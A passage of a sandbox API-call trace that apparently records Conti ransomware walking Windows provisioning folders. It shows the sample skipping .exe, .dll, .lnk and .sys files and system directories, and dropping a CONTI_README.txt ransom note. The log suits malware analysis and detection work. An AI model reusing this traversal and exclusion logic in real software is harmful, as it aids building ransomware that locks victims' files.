	[0106.486] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\", lpString2="0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.486] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1
	[0106.486] lstrcmpiW (lpString1="1__Power_Policy.provxml", lpString2=".") returned 1
	[0106.486] lstrcmpiW (lpString1="1__Power_Policy.provxml", lpString2="..") returned 1
	[0106.486] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.486] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.486] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.486] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.486] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.487] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.487] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.487] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.487] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned 89
	[0106.487] lstrlenW (lpString="1__Power_Policy.provxml") returned 23
	[0106.487] GetProcessHeap () returned 0x1720000
	[0106.487] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c3688
	[0106.487] lstrcpyW (in: lpString1=0x17c3688, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime"
	[0106.487] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\"
	[0106.487] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\", lpString2="1__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml"
	[0106.487] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53507c33, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53507c33, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53507c33, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.487] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.487] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.487] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.487] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.487] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53507c33, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53507c33, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53507c33, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.487] GetProcessHeap () returned 0x1720000
	[0106.487] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.487] FindClose (in: hFindFile=0x17c85f0 | out: hFindFile=0x17c85f0) returned 1
	[0106.487] GetProcessHeap () returned 0x1720000
	[0106.487] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.487] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.487] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.487] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.487] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.487] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.487] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.487] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.487] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.487] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.487] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.487] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.488] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned 81
	[0106.488] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.488] GetProcessHeap () returned 0x1720000
	[0106.488] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cbcd8
	[0106.488] lstrcpyW (in: lpString1=0x17cbcd8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov"
	[0106.488] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\"
	[0106.488] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml"
	[0106.488] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.488] GetProcessHeap () returned 0x1720000
	[0106.488] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510498 | out: hHeap=0x1720000) returned 1
	[0106.488] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0106.488] GetProcessHeap () returned 0x1720000
	[0106.488] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.488] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.488] GetProcessHeap () returned 0x1720000
	[0106.488] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ec00 | out: hHeap=0x1720000) returned 1
	[0106.488] FindClose (in: hFindFile=0x17c80b0 | out: hFindFile=0x17c80b0) returned 1
	[0106.488] GetProcessHeap () returned 0x1720000
	[0106.488] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eea0 | out: hHeap=0x1720000) returned 1
	[0106.488] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2=".") returned 1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="..") returned 1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="tmp") returned -1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="winnt") returned -1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="Application Data") returned -1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="AppData") returned -1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="temp") returned -1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="thumb") returned -1
	[0106.488] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="$Recycle.Bin") returned 1
	[0106.489] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="$RECYCLE.BIN") returned 1
	[0106.489] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="System Volume Information") returned -1
	[0106.489] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="Program Files") returned -1
	[0106.489] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="Program Files (x86)") returned -1
	[0106.489] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="Boot") returned -1
	[0106.489] lstrcmpiW (lpString1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="Windows") returned -1
	[0106.489] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.489] lstrlenW (lpString="{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned 38
	[0106.489] GetProcessHeap () returned 0x1720000
	[0106.489] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173e960
	[0106.489] lstrcpyW (in: lpString1=0x173e960, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.489] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.489] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}"
	[0106.489] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned 76
	[0106.489] GetProcessHeap () returned 0x1720000
	[0106.489] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173f140
	[0106.489] lstrcpyW (in: lpString1=0x173f140, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}"
	[0106.489] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*"
	[0106.489] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned 76
	[0106.489] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.489] GetProcessHeap () returned 0x1720000
	[0106.489] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cb760
	[0106.489] lstrcpyW (in: lpString1=0x17cb760, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}"
	[0106.489] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\"
	[0106.489] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\CONTI_README.txt"
	[0106.489] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.500] GetProcessHeap () returned 0x1720000
	[0106.500] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb760 | out: hHeap=0x1720000) returned 1
	[0106.500] WriteFile (in: hFile=0x3a0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.501] CloseHandle (hObject=0x3a0) returned 1
	[0106.501] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5352cd79, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0106.502] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.502] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5352cd79, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.502] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.502] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.502] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53507c33, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53507c33, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5352cd79, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.502] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.502] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.502] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.502] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.502] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fff1c4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fff1c4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fff1c4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.502] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.502] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.502] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.502] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.502] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.502] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.502] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.502] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.502] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.502] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.502] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned 76
	[0106.502] lstrlenW (lpString="customizations.xml") returned 18
	[0106.502] GetProcessHeap () returned 0x1720000
	[0106.502] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x17cb760
	[0106.502] lstrcpyW (in: lpString1=0x17cb760, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}"
	[0106.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\"
	[0106.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"
	[0106.502] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8cab3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8cab3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8cab3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.502] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.502] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.502] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.502] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.502] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.503] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.503] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.503] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.503] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.503] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.503] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned 76
	[0106.503] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.503] GetProcessHeap () returned 0x1720000
	[0106.503] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d648
	[0106.503] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}"
	[0106.503] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\"
	[0106.503] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml"
	[0106.503] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
